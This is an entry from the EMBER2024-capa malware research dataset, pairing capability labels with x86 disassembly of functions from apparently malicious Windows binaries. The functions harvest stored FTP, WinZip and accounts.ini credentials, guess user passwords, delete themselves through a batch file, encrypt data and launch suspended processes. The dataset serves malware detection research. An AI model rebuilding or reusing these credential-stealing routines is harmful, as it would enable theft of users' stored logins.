joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40d729
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7d8
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x40d909
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x40d77e
jmp 0x40d901
push 0x414814
push dword [ebp + 0xc]
call fcn.00401cfd
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401cfd
mov dword [ebp - 0x828], eax
call fcn.004017bd
push 0
push str.HostName
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401c76
mov dword [ebp - 0x810], eax
push 0
push str.UserName
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401c76
mov dword [ebp - 0x814], eax
push 0
push str.Password
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401c76
mov dword [ebp - 0x818], eax
lea eax, [ebp - 0x824]
push eax
push str.PortNumber
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401c76
mov dword [ebp - 0x81c], eax
push 0
push str.TerminalType
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401c76
mov dword [ebp - 0x820], eax
cmp dword [ebp - 0x810], 0
je 0x40d8a6
cmp dword [ebp - 0x814], 0
je 0x40d8a6
cmp dword [ebp - 0x818], 0
je 0x40d8a6
push 0xbeef0000
push dword [ebp + 0x10]
call fcn.0040146e
push dword [ebp - 0x810]
push dword [ebp + 0x10]
call fcn.004014d0
push dword [ebp - 0x814]
push dword [ebp + 0x10]
call fcn.004014d0
push dword [ebp - 0x818]
push dword [ebp + 0x10]
call fcn.004014d0
push dword [ebp - 0x824]
push dword [ebp - 0x81c]
push dword [ebp + 0x10]
call fcn.004014a4
push dword [ebp - 0x820]
push dword [ebp + 0x10]
call fcn.004014d0
push dword [ebp + 0x10]
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.0040d729
push dword [ebp - 0x828]
call fcn.004017bd
push dword [ebp - 0x810]
call fcn.004017bd
push dword [ebp - 0x814]
call fcn.004017bd
push dword [ebp - 0x818]
call fcn.004017bd
push dword [ebp - 0x81c]
call fcn.004017bd
push dword [ebp - 0x820]
call fcn.004017bd
inc dword [ebp - 8]
jmp 0x40d750
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc
Function at 0x40d991
Capabilities:
Gather direct-ftp information
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7d0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x40dbc6
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x40d9e6
jmp 0x40dbbe
push 0x414814
push dword [ebp + 0xc]
call fcn.00401cfd
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401cfd
mov dword [ebp - 0x828], eax
call fcn.004017bd
push 0
push str.FTP_destination_server
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401c76
mov dword [ebp - 0x810], eax
push 0
push str.FTP_destination_user
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401c76
mov dword [ebp - 0x814], eax
push 0
push str.FTP_destination_password
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401c76
mov dword [ebp - 0x818], eax
lea eax, [ebp - 0x824]
push eax
push str.FTP_destination_port
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401c76
mov dword [ebp - 0x81c], eax
push 0
push str.FTP_destination_catalog
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401c76
mov dword [ebp - 0x820], eax
lea eax, [ebp - 0x830]
push eax
push str.FTP_profiles
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401c76
mov dword [ebp - 0x82c], eax
cmp dword [ebp - 0x810], 0
je 0x40db2e
cmp dword [ebp - 0x814], 0
je 0x40db2e
cmp dword [ebp - 0x818], 0
je 0x40db2e
push 0xbeef0000
push dword [ebp + 0x10]
call fcn.0040146e
push dword [ebp - 0x810]
push dword [ebp + 0x10]
call fcn.004014d0
push dword [ebp - 0x814]
push dword [ebp + 0x10]
call fcn.004014d0
push dword [ebp - 0x818]
push dword [ebp + 0x10]
call fcn.004014d0
push dword [ebp - 0x824]
push dword [ebp - 0x81c]
push dword [ebp + 0x10]
call fcn.004014a4
push dword [ebp - 0x820]
push dword [ebp + 0x10]
call fcn.004014d0
cmp dword [ebp - 0x830], 0
je 0x40db58
push 0xbeef0001
push dword [ebp + 0x10]
call fcn.0040146e
push dword [ebp - 0x830]
push dword [ebp - 0x82c]
push dword [ebp + 0x10]
call fcn.004014a4
push dword [ebp + 0x10]
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.0040d991
push dword [ebp - 0x828]
call fcn.004017bd
push dword [ebp - 0x810]
call fcn.004017bd
push dword [ebp - 0x814]
call fcn.004017bd
push dword [ebp - 0x818]
call fcn.004017bd
push dword [ebp - 0x81c]
call fcn.004017bd
push dword [ebp - 0x820]
call fcn.004017bd
push dword [ebp - 0x82c]
call fcn.004017bd
inc dword [ebp - 8]
jmp 0x40d9b8
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc
Function at 0x40df66
Capabilities:
Gather winzip information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x40e0ab
push 0
push str.Site
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00401c76
mov dword [ebp - 8], eax
push 0
push str.UserID
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00401c76
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x1c]
push eax
push str.xflags
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00401c76
mov dword [ebp - 0x10], eax
push 0
push str.Port
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00401c76
mov dword [ebp - 0x14], eax
push 0
push str.Folder
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00401c76
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x10], 0
je 0x40e07b
cmp dword [ebp - 0x1c], 0
je 0x40e07b
push dword [ebp - 0x1c]
push dword [ebp - 0x10]
call fcn.00402a12
or eax, eax
je 0x40e07b
shr dword [ebp - 0x1c], 1
push 0
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x10]
call fcn.0040410b
or eax, eax
je 0x40e07b
cmp dword [ebp - 8], 0
je 0x40e07b
cmp dword [ebp - 0xc], 0
je 0x40e07b
cmp dword [ebp - 0x10], 0
je 0x40e07b
push 0xbeef0000
push dword [ebp + 0x10]
call fcn.0040146e
push dword [ebp - 8]
push dword [ebp + 0x10]
call fcn.004014d0
push dword [ebp - 0xc]
push dword [ebp + 0x10]
call fcn.004014d0
push dword [ebp - 0x1c]
push dword [ebp - 0x10]
push dword [ebp + 0x10]
call fcn.004014a4
push dword [ebp - 0x14]
push dword [ebp + 0x10]
call fcn.004014d0
push dword [ebp - 0x18]
push dword [ebp + 0x10]
call fcn.004014d0
push dword [ebp - 8]
call fcn.004017bd
push dword [ebp - 0xc]
call fcn.004017bd
push dword [ebp - 0x10]
call fcn.004017bd
push dword [ebp - 0x14]
call fcn.004017bd
push dword [ebp - 0x18]
call fcn.004017bd
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc

Function at 0x40e0af
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7e8
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x40e174
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
lea eax, [ebp - 0x814]
push eax
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumValueA
or eax, eax
je 0x40e106
jmp 0x40e16c
cmp dword [ebp - 0x814], 1
je 0x40e114
inc dword [ebp - 8]
jmp 0x40e0d6
lea eax, [ebp - 0x818]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00401c76
or eax, eax
je 0x40e164
mov dword [ebp - 0x810], eax
push str..wjf
push dword [ebp - 0x810]
call sub.shlwapi.dll_StrStrIA
or eax, eax
je 0x40e159
push dword [ebp - 0x810]
push dword [ebp + 0x10]
call fcn.0040de2d
push dword [ebp - 0x810]
call fcn.004017bd
inc dword [ebp - 8]
jmp 0x40e0d6
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc
Function at 0x40e728
Capabilities:
Query or enumerate registry key
Read .ini file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7e8
push 0x105
call fcn.004017d4
mov dword [ebp - 0x818], eax
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x40e863
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x40e78d
jmp 0x40e85b
push 0x414814
push dword [ebp + 0xc]
call fcn.00401cfd
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401cfd
mov dword [ebp - 0x810], eax
call fcn.004017bd
push 0
push str.Path
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.00401c76
mov dword [ebp - 0x814], eax
cmp dword [ebp - 0x814], 0
je 0x40e82c
push str.PocoSystem.ini
push dword [ebp - 0x814]
call fcn.00401cfd
push eax
push eax
push 0x104
push dword [ebp - 0x818]
push 0x414816
push str.DataPath
push str.Program
call sub.kernel32.dll_GetPrivateProfileStringA
cmp eax, 3
jbe 0x40e827
push 0xbeef0000
push str.accounts.ini
push dword [ebp - 0x818]
push dword [ebp + 0x10]
call fcn.00404080
call fcn.004017bd
push dword [ebp + 0x10]
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.0040e728
push dword [ebp - 0x810]
call fcn.004017bd
push dword [ebp - 0x814]
call fcn.004017bd
inc dword [ebp - 8]
jmp 0x40e75f
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
push dword [ebp - 0x818]
call fcn.004017bd
leave
ret 0xc
Function at 0x40f03c
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7f0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x40f0d7
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x40f08a
jmp 0x40f0cf
push 0x414814
push dword [ebp + 0x10]
call fcn.00401cfd
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401d51
mov dword [ebp - 0x810], eax
push 0
push dword [ebp - 0x810]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040eea7
push dword [ebp - 0x810]
call fcn.004017bd
inc dword [ebp - 8]
jmp 0x40f05f
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc

Function at 0x40f0db
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7f0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x40f181
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x40f12d
jmp 0x40f179
push 0x414814
push dword [ebp + 0x10]
call fcn.00401cfd
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401d51
push dword [ebp + 0x14]
push eax
call fcn.00401d51
mov dword [ebp - 0x810], eax
push dword [ebp - 0x810]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040f03c
push dword [ebp - 0x810]
call fcn.004017bd
inc dword [ebp - 8]
jmp 0x40f102
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0x10
Function at 0x40fab1
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebp
mov ebp, esp
pop ebp
mov edx, edx
mov ecx, ecx
nop
push 0x105
call fcn.004017d4
nop
mov edx, edx
mov ecx, ecx
nop
mov dword [ebp - 0x14], eax
nop
call sub.kernel32.dll_GetTickCount
push eax
push str._d.bat
push dword [ebp - 0x14]
call sub.user32.dll_wsprintfA
add esp, 0xc
push 0x105
call fcn.004017d4
nop
mov edx, edx
mov ecx, ecx
nop
mov dword [ebp - 4], eax
mov edx, edx
mov ecx, ecx
nop
push 0x105
call fcn.004017d4
nop
mov edx, edx
mov ecx, ecx
mov dword [ebp - 0x10], eax
nop
push 0x105
call fcn.004017d4
mov edx, edx
mov ecx, ecx
nop
mov edx, edx
mov ecx, ecx
mov dword [ebp - 8], eax
mov ecx, ecx
mov edx, edx
mov edx, edx
mov ecx, ecx
nop
push 0x104
push dword [ebp - 4]
push dword [0x4172fd]
call sub.kernel32.dll_GetModuleFileNameA
nop
mov edx, edx
mov ecx, ecx
mov edx, edx
mov ecx, ecx
push dword [ebp - 0x10]
push 0x104
call sub.kernel32.dll_GetTempPathA
or eax, eax
je 0x40fb71
mov ecx, ecx
mov edx, edx
nop
push dword [ebp - 0x14]
push dword [ebp - 0x10]
call sub.kernel32.dll_lstrcatA
mov edx, edx
push 0
push 0
push 2
push 0
push 3
push 0xc0000000
push dword [ebp - 0x10]
call sub.kernel32.dll_CreateFileA
mov ecx, ecx
mov dword [ebp - 0xc], eax
mov ecx, ecx
inc eax
or eax, eax
jne 0x40fbd8
push dword [ebp - 4]
push dword [ebp - 0x10]
call sub.kernel32.dll_lstrcpyA
push 0x5c
push 0
push dword [ebp - 0x10]
call sub.shlwapi.dll_StrRChrIA
or eax, eax
je 0x40fbbb
inc eax
push dword [ebp - 0x14]
push eax
call sub.kernel32.dll_lstrcpyA
push 0
push 0
push 2
push 0
push 3
push 0xc0000000
push dword [ebp - 0x10]
call sub.kernel32.dll_CreateFileA
mov dword [ebp - 0xc], eax
inc eax
je 0x40fc43
push str._r_n_t_t_r_n_r_n_t___:ktk____r_n_r_n_r_n_____del_____t__1___r_n_tif___t_t_exist__t____1___t__goto__t_r_ktk_r_n_del__t___0
call sub.kernel32.dll_lstrlenA
push eax
push str._r_n_t_t_r_n_r_n_t___:ktk____r_n_r_n_r_n_____del_____t__1___r_n_tif___t_t_exist__t____1___t__goto__t_r_ktk_r_n_del__t___0
push dword [ebp - 0xc]
call fcn.004013aa
push eax
push dword [ebp - 0xc]
call sub.kernel32.dll_CloseHandle
pop eax
or eax, eax
jne 0x40fc00
jmp 0x40fc43
push dword [ebp - 4]
push str.________s_
push dword [ebp - 8]
call sub.user32.dll_wsprintfA
add esp, 0xc
push str.shell32.dll
call sub.kernel32.dll_LoadLibraryA
or eax, eax
je 0x40fc43
push str.ShellExecuteA
push eax
call sub.kernel32.dll_GetProcAddress
or eax, eax
je 0x40fc43
push 0
push 0
push dword [ebp - 8]
push dword [ebp - 0x10]
push str.open
push 0
call eax
push dword [ebp - 0x14]
call fcn.004017bd
push dword [ebp - 4]
call fcn.004017bd
push dword [ebp - 0x10]
call fcn.004017bd
push dword [ebp - 8]
call fcn.004017bd
leave
ret
Function at 0x40fd65
Capabilities:
Impersonate user

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push edi
push ebp
mov ebp, esp
pop ebp
cmp dword [0x414afa], 0
je 0x40fd83
cmp dword [0x414b06], 0
jne 0x40fd89
sub eax, eax
pop edi
pop ebx
leave
ret
mov ebx, dword [0x4172d8]
jmp 0x40ff25
call fcn.00402acf
cmp dword [0x4172dc], 0
je 0x40fdb9
push dword [ebx + 4]
push dword [0x4172dc]
call sub.kernel32.dll_lstrcmpiA
or eax, eax
jne 0x40fdb9
jmp 0x40ff23
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 0
push 2
push dword [ebx + 4]
push 0
push dword [ebx + 4]
call dword [0x414b06]
or eax, eax
je 0x40fddf
jmp 0x40fe68
push dword [ebx + 4]
call fcn.00402922
mov dword [ebp - 8], eax
push dword [ebx + 4]
call sub.kernel32.dll_lstrlenA
push eax
push dword [ebp - 8]
push eax
push dword [ebx + 4]
push 0x100
push 0x400
call sub.kernel32.dll_LCMapStringA
or eax, eax
je 0x40fe38
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 0
push 2
push dword [ebp - 8]
push 0
push dword [ebx + 4]
call dword [0x414b06]
or eax, eax
je 0x40fe38
push dword [ebp - 8]
call fcn.004017bd
jmp 0x40fe68
push dword [ebp - 8]
call fcn.004017bd
mov edi, str.123456
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 0
push 2
push edi
push 0
push dword [ebx + 4]
call dword [0x414b06]
or eax, eax
je 0x40ff11
mov dword [ebp - 0x28], 0x20
mov dword [ebp - 0x24], 1
push dword [ebx + 4]
pop dword [ebp - 0x20]
push dword [ebx + 8]
pop dword [ebp - 0x1c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 4]
call sub.userenv.dll_LoadUserProfileA
or eax, eax
je 0x40fec6
cmp dword [ebp - 0xc], 0
je 0x40febd
push dword [ebp - 0xc]
pop dword [0x414838]
mov dword [ebp - 0x2c], 1
jmp 0x40fecd
mov dword [ebp - 0x2c], 0
push dword [ebp - 4]
call dword [0x414afa]
or eax, eax
je 0x40fef8
call fcn.0040f9ac
cmp dword [0x414af2], 0
je 0x40feee
call dword [0x414af2]
mov dword [0x414838], 0x80000001
cmp dword [ebp - 0x2c], 0
je 0x40ff09
push dword [ebp - 0xc]
push dword [ebp - 4]
call sub.userenv.dll_UnloadUserProfile
push dword [ebp - 4]
call sub.kernel32.dll_CloseHandle
cld
xor eax, eax
mov ecx, 0xffffffff
repne scasb al, byte es:[edi]
cmp byte [edi], al
jne 0x40fe45
mov ebx, dword [ebx]
or ebx, ebx
jne 0x40fd94
mov eax, 1
pop edi
pop ebx
leave
ret

Function at 0x40ff36
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push ebp
mov ebp, esp
pop ebp
push 0
call sub.ole32.dll_OleInitialize
call fcn.00402435
call fcn.0040f710
call fcn.00402acf
call fcn.00402afc
or eax, eax
je 0x40ff72
call fcn.00402bd8
or eax, eax
je 0x40ff72
mov dword [0x414cf3], 1
push 0x101
call fcn.004017d4
mov dword [0x4172dc], eax
mov dword [ebp - 4], 0x101
lea eax, [ebp - 4]
push eax
push dword [0x4172dc]
call sub.advapi32.dll_GetUserNameA
or eax, eax
jne 0x40ffb0
push dword [0x4172dc]
call fcn.004017bd
mov dword [0x4172dc], 0
call fcn.00401fbe
call fcn.00401ca2
push str.tgrqtvu
call fcn.0040f762
leave
ret
Function at 0x4118e0
Capabilities:
Encrypt data using des

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xf0
push ebx
push esi
push edi
mov edx, dword [ebp + 8]
xor ebx, ebx
movzx esi, byte [ebx + str.80_]
mov eax, esi
sar eax, 3
movzx eax, byte [eax + edx]
mov ecx, esi
and ecx, 7
movzx ecx, word [ecx + ecx + 0x417528]
test eax, ecx
setne cl
movzx eax, cl
mov byte [ebp + ebx - 0x38], al
inc ebx
cmp ebx, 0x38
jl 0x4118f1
xor edx, edx
cmp word [ebp + 0xc], 1
jne 0x411933
mov eax, edx
neg eax
lea ecx, [eax + eax + 0x1e]
jmp 0x411936
lea ecx, [edx + edx]
lea edi, [ecx + 1]
and dword [ebp + edi*4 - 0xf0], 0
and dword [ebp + ecx*4 - 0xf0], 0
xor ebx, ebx
movzx eax, byte [edx + 0x4175d0]
lea esi, [eax + ebx]
cmp esi, 0x1c
jge 0x411964
mov al, byte [ebp + esi - 0x38]
mov byte [ebp + ebx - 0x70], al
jmp 0x41196c
mov al, byte [ebp + esi - 0x54]
mov byte [ebp + ebx - 0x70], al
inc ebx
cmp ebx, 0x1c
jl 0x41194b
mov ebx, 0x1c
movzx eax, byte [edx + 0x4175d0]
lea esi, [eax + ebx]
cmp esi, 0x38
jge 0x411990
mov al, byte [ebp + esi - 0x38]
mov byte [ebp + ebx - 0x70], al
jmp 0x411998
mov al, byte [ebp + esi - 0x54]
mov byte [ebp + ebx - 0x70], al
inc ebx
cmp ebx, 0x38
jl 0x411977
xor ebx, ebx
movzx eax, byte [ebx + 0x4175e0]
cmp byte [ebp + eax - 0x70], 0
je 0x4119bc
mov eax, dword [ebx*4 + 0x417538]
or dword [ebp + ecx*4 - 0xf0], eax
movzx eax, byte [ebx + 0x4175f8]
cmp byte [ebp + eax - 0x70], 0
je 0x4119d8
mov eax, dword [ebx*4 + 0x417538]
or dword [ebp + edi*4 - 0xf0], eax
inc ebx
cmp ebx, 0x18
jl 0x4119a0
inc edx
cmp edx, 0x10
jl 0x411922
lea eax, [ebp - 0xf0]
push eax
call fcn.004119fd
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x4123d6
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push eax
push eax
push ebx
push esi
mov edx, dword [ebp + 8]
mov ebx, dword [ebp + 0xc]
mov esi, dword [ebp + 0x10]
xor ecx, ecx
mov al, byte [ecx + edx]
mov byte [ebp + ecx - 8], al
mov al, byte [ecx + edx]
mov byte [ecx + ebx], al
inc ecx
cmp ecx, 8
jl 0x4123e8
push ebx
push edx
call fcn.00411eae
xor edx, edx
lea ecx, [edx + ebx]
mov al, byte [edx + esi]
xor al, byte [ecx]
mov byte [ecx], al
inc edx
cmp edx, 8
jl 0x412404
xor edx, edx
mov al, byte [ebp + edx - 8]
mov byte [edx + esi], al
inc edx
cmp edx, 8
jl 0x412416
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x5001e17
Capabilities:
Create directory

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
mov esi, edi
cmp byte [edi], 0
je 0x5001e4d
cmp byte [esi], 0x5c
jne 0x5001e47
and byte [esi], 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x5001e44
push edi
push 0x50010d8
call fcn.05001ec8
mov byte [esi], 0x5c
inc esi
cmp byte [esi], 0
jne 0x5001e24
pop edi
pop esi
ret 4

Function at 0x5001e52
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [ebp - 0x104]
mov eax, ecx
lea ecx, [eax + 1]
lea eax, [ebp + eax - 0x104]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
cmp byte [eax - 1], 0x5c
pop edi
pop esi
je 0x5001e9b
mov byte [eax], 0x5c
and byte [eax + 1], 0
lea eax, [ebp - 0x104]
push eax
call fcn.05001e17
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x5001ec2
test al, 0x10
je 0x5001ec2
push 1
pop eax
jmp 0x5001ec4
xor eax, eax
leave
ret 4

Function at 0x5002431
Capabilities:
Contain obfuscated stackstrings

Disassembly:
clc
mov ecx, dword [ebp - 0xac]
xor edx, edx
div ecx
xor edx, edx
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 8]
div ecx
test edx, edx
je 0x5002453
inc dword [ebp - 0x8c]
imul ecx, dword [ebp - 0x8c]
mov dword [ebp + 0xc], ecx
mov byte [ebp - 0x40], bl

Function at 0x5002460
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x3f], bl
mov byte [ebp - 0x3e], 0xec
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
invalid
Function at 0x32431150
Capabilities:
Accept command line arguments
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.DLL_GetCommandLineA]
and dword [ebp - 8], 0
push eax
pop esi
mov edi, esi
cmp byte [esi], 0x22
jne 0x32431184
lea eax, [esi + 1]
push 0x22
push eax
call fcn.32438418
push eax
pop edi
pop ecx
test edi, edi
pop ecx
je 0x32431182
inc edi
jmp 0x32431184
mov edi, esi
push 0x20
push edi
call fcn.32438418
mov ebx, eax
pop ecx
test ebx, ebx
pop ecx
jne 0x324311a8
push 9
push edi
call fcn.32438418
mov ebx, eax
pop ecx
or ebx, ebx
pop ecx
je 0x32431277
mov al, byte [ebx]
or al, al
je 0x324311b9
cmp al, 0x20
je 0x324311b6
cmp al, 9
jne 0x324311b9
inc ebx
jmp 0x324311a8
cmp byte [ebx], 0
je 0x32431277
push 0x1c
pop eax
call fcn.32438510
mov dword [ebp - 4], esp
push dword [0x32439070]
pop esi
push dword [ebp - 4]
pop edi
push 0x1a
pop ecx
lodsb al, byte [esi]
add al, 0xe0
sub al, 0x4d
stosb byte es:[edi], al
dec ecx
jne 0x324311db
sub esi, esi
push esi
push dword [ebp - 4]
push dword [0x3243a9b8]
call fcn.32435458
cmp eax, esi
mov dword [ebp - 4], eax
je 0x32431277
push 0xf
sub eax, eax
pop ecx
lea edi, [ebp - 0x54]
mov dword [ebp - 0x5c], 0x44
mov dword [ebp - 0x58], esi
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x14]
mov dword [ebp - 0x18], esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push ebx
mov dword [ebp - 0x30], 1
stosd dword es:[edi], eax
mov word [ebp - 0x2c], 5
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
add eax, 4
and al, 0xfc
call fcn.32438510
push esp
pop edi
push ebx
push edi
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x5c]
push eax
push esi
push esi
push 3
push esi
push esi
push esi
push edi
push esi
call dword [0x32431044]
and eax, eax
je 0x32431277
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push dword [ebp - 8]
pop eax
lea esp, [ebp - 0x68]
pop edi
pop esi
pop ebx
leave
ret